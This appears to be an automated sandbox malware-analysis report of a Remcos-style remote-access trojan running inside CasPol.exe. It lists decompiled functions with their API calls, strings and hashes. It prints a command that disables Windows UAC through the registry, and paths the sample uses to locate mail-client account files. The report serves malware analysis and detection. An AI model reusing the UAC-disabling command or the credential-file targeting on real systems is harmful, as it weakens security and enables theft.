                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB46
                                                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB5A
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB67
                                                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB76
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB88
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB8B
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                                                  • Opcode ID: 754c0925ec177a5049a93b7fce8159a8319844bdb89c9ef35b94d9fd17db8e33
                                                                                                                                                                                                  • Instruction ID: 443f58cffa4f299642b313368f914f767bd977a6fac550f0ec2f38f013616b5a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 754c0925ec177a5049a93b7fce8159a8319844bdb89c9ef35b94d9fd17db8e33
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E4F0F631541318BBD7116F259C49DFF3B6CDB45B62F000026FE0992192EB68DD4595F9
                                                                                                                                                                                                  Function 0041AC3B Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC4A
                                                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC5E
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC6B
                                                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC7A
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC8C
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC8F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                                                  • Opcode ID: b5aa101f668b8370ae1db4d78aefdcb1539b90a750a7e22220e005daec647db2
                                                                                                                                                                                                  • Instruction ID: 80b71cf000cc834045a6d48b23744411b71cc7e49355023a2f572df053a73ec4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b5aa101f668b8370ae1db4d78aefdcb1539b90a750a7e22220e005daec647db2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 73F0C231501218ABD611AF65AC4AEFF3B6CDB45B62F00002AFE0992192EB38CD4595E9
                                                                                                                                                                                                  Function 0041ACA2 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACB1
                                                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACC5
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACD2
                                                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACE1
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACF3
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACF6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                                                  • Opcode ID: d2f399c3bcd0f1044f14c411125fc5822346b4401d7891a80fcd35a5d0c32c00
                                                                                                                                                                                                  • Instruction ID: 4c72e2560426042a93d841201029be6eaa37955ba2c7d49e75f16ae618c5df44
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d2f399c3bcd0f1044f14c411125fc5822346b4401d7891a80fcd35a5d0c32c00
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 85F0F631501228BBD7116F25AC49DFF3B6CDB45B62F00002AFE0992192EB38CD46A6F9
                                                                                                                                                                                                  Function 100011EA Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                                                                                                                                    • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,?), ref: 10001EAC
                                                                                                                                                                                                    • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                                                                                                                                    • Part of subcall function 10001E89: lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                                                                                                                                    • Part of subcall function 10001E89: lstrcatW.KERNEL32(?,100010DF), ref: 10001ED3
                                                                                                                                                                                                  • GetFileAttributesW.KERNEL32(?,?,?,?), ref: 1000122A
                                                                                                                                                                                                    • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001855
                                                                                                                                                                                                    • Part of subcall function 1000173A: _strlen.LIBCMT ref: 10001869
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: lstrlen$_strlenlstrcat$AttributesFile
                                                                                                                                                                                                  • String ID: \Accounts\Account.rec0$\Data\AccCfg\Accounts.tdat$\Mail\$\Storage\
                                                                                                                                                                                                  • API String ID: 4036392271-1520055953
                                                                                                                                                                                                  • Opcode ID: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                                                                                                                                  • Instruction ID: e2b7c7e1c3038021adfe9ab266432482c710e64fc4cfb1bae4cfd9c1521b4980
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 09c536ecd907401b0aa489f333ca62d314ebad464b807bf11bf7235871964734
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4B21D579E142486AFB14D7A0EC92FED7339EF80754F000556F604EB1D5EBB16E818758
                                                                                                                                                                                                  Function 0041D5A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ClassCreateErrorLastRegisterWindow
                                                                                                                                                                                                  • String ID: 0$MsgWindowClass
                                                                                                                                                                                                  • API String ID: 2877667751-2410386613
                                                                                                                                                                                                  • Opcode ID: 722de5e8388a8877474a119f468a3301e062738380f3873f65828015e8b741e1
                                                                                                                                                                                                  • Instruction ID: e808ecd18ef19f47bd472c0c6462b34ef8490c58390ad3ae495a6aa035ed2a4b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 722de5e8388a8877474a119f468a3301e062738380f3873f65828015e8b741e1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1F0125B1D00219ABDB00DFA5EC849EFBBBCEA08355F40453AF914A6241EB7589058AA4
                                                                                                                                                                                                  Function 00407790 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 004077D6
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 004077E5
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 004077EA
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 004077CC
                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe, xrefs: 004077D1
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseHandle$CreateProcess
                                                                                                                                                                                                  • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  • API String ID: 2922976086-4183131282
                                                                                                                                                                                                  • Opcode ID: c38a1c4fbaf06b70ee3143182280ce63ac5342037887d892980c2b2f1eb259a7
                                                                                                                                                                                                  • Instruction ID: 1887ccd63cb29ce90d3c4a9dee080bc6fb52b3336ad705aa4023eed0db3a7680
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c38a1c4fbaf06b70ee3143182280ce63ac5342037887d892980c2b2f1eb259a7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 04F09672D4029C76CB20ABD7AC0EEDF7F3CEBC5B11F00051AF904A2045DA745400CAB5
                                                                                                                                                                                                  Function 0040729B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, xrefs: 004076FF
                                                                                                                                                                                                  • Rmc-TTZ00A, xrefs: 00407715
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$Rmc-TTZ00A
                                                                                                                                                                                                  • API String ID: 0-4000142728
                                                                                                                                                                                                  • Opcode ID: 9875d9faf70918787a925bf8ffd0fe05ff0f1e0d4d07a7049234b56cd1ae4be9
                                                                                                                                                                                                  • Instruction ID: 5ffff352cfcc2e87221e4fa572a01d73507d198e899e6baa5594ec663d9dd15d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9875d9faf70918787a925bf8ffd0fe05ff0f1e0d4d07a7049234b56cd1ae4be9
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8DF02BB0E04600EBCB1477345D296AA3656A780397F40487BF507EB2F2EBBD5C41871E
                                                                                                                                                                                                  Function 004433DA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0044338B,?,?,0044332B,?), ref: 004433FA
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,0044338B,?,?,0044332B,?), ref: 0044340D
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,0044338B,?,?,0044332B,?), ref: 00443430
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                  • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                  • API String ID: 4061214504-1276376045
                                                                                                                                                                                                  • Opcode ID: ffd65e2a986ef432bd98aae630379cdfc9b477bc787d361fad657d5437817096
                                                                                                                                                                                                  • Instruction ID: d7bd46dfab834bb5d48edea7818df211002af85bf4a2e706b61bd78119be3437
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ffd65e2a986ef432bd98aae630379cdfc9b477bc787d361fad657d5437817096
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4EF04931900208FBDB159F65DC45B9EBF74EF04753F0040A5F805A2251DB758E40CA99
                                                                                                                                                                                                  Function 10004B39 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B59
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CorExitProcess,00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000), ref: 10004B6C
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,10004AEA,?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082), ref: 10004B8F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                  • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                  • API String ID: 4061214504-1276376045
                                                                                                                                                                                                  • Opcode ID: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                                                                                                                                  • Instruction ID: e6e2f78cdd7cd30bdf2d4d174718ae12991e9b6ae5ca6a82eaba56a43cf4d13d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 497ca4813dea5db040ed96ba3988917c23aad912c76c67efd82f8c60daebc881
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C8F03C71900218BBEB11AB94CC48BAEBFB9EF043D1F01416AE909A6164DF309941CAA5
                                                                                                                                                                                                  Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                                                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00405140
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                                                                                                                                  • String ID: KeepAlive | Disabled
                                                                                                                                                                                                  • API String ID: 2993684571-305739064
                                                                                                                                                                                                  • Opcode ID: 1fd388f523b344ad3ce7bacd9f737274470046df98bc8577e1acfe76f453cfe4
                                                                                                                                                                                                  • Instruction ID: dc79248355977efa3495ea8e96f68553e1f2867eb32bbe7dc6984d352a193ca4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1fd388f523b344ad3ce7bacd9f737274470046df98bc8577e1acfe76f453cfe4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5DF06D71904711BBDB203B758D0AAAB7E95AB06315F0009BEF982916E2D6798C408F9A
                                                                                                                                                                                                  Function 0041AE51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041AE83
                                                                                                                                                                                                  • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE91
                                                                                                                                                                                                  • Sleep.KERNEL32(00002710), ref: 0041AE98
                                                                                                                                                                                                  • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AEA1
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: PlaySound$HandleLocalModuleSleepTime
                                                                                                                                                                                                  • String ID: Alarm triggered
                                                                                                                                                                                                  • API String ID: 614609389-2816303416
                                                                                                                                                                                                  • Opcode ID: 715f6b18c41aa76fa9a4930845716c072d9d24f9be949641e6571375284beb95
                                                                                                                                                                                                  • Instruction ID: 264e31dd7f8ae4a58c3cd97330858728e5483d82e525179ed11d996d756d41c5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 715f6b18c41aa76fa9a4930845716c072d9d24f9be949641e6571375284beb95
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3EE0D826A40220779A10337B6D0FD6F3D29CAC3B2570100BFFA05660C2DD540C01C6FB
                                                                                                                                                                                                  Function 0041CDE9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CE7E), ref: 0041CDF3
                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CE00
                                                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CE0D
                                                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CE20
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CE13
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                                                                                                                                                                  • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                                                                                                                                                                  • API String ID: 3024135584-2418719853
                                                                                                                                                                                                  • Opcode ID: e39debb9b2b39d29e793f9bd33498d8add4ef2108ba1fa2e7e75c33182c8a1d6
                                                                                                                                                                                                  • Instruction ID: 3099d3b49c49d1df3d44327ff87017ee7d1b0803ff7cdb2815dc6b7c28d9377e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e39debb9b2b39d29e793f9bd33498d8add4ef2108ba1fa2e7e75c33182c8a1d6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B6E04872504315E7E31027B5EC4DCAB7B7CE745613B100266FA16915D39A749C41C6B5
                                                                                                                                                                                                  Function 004413EA Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 52d86c3ce57e0cfe0599c5a04198a87027602046587802b200418d3fba34e127
                                                                                                                                                                                                  • Instruction ID: 15e211ccade7fc2a5debfa8ad78d9bfa955d5b29a73147504924d067d3782226
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 52d86c3ce57e0cfe0599c5a04198a87027602046587802b200418d3fba34e127
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2771D4319012569BEB21CF55C884AFFBB75EF55310F19412BE815672A0DB78CCC1CBA8
                                                                                                                                                                                                  Function 004493E5 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F244), ref: 0044944F
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 004494C7
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 004494F4
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044943D
                                                                                                                                                                                                    • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000), ref: 00446818
                                                                                                                                                                                                    • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                                                                                                                                                                  • _free.LIBCMT ref: 00449609
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
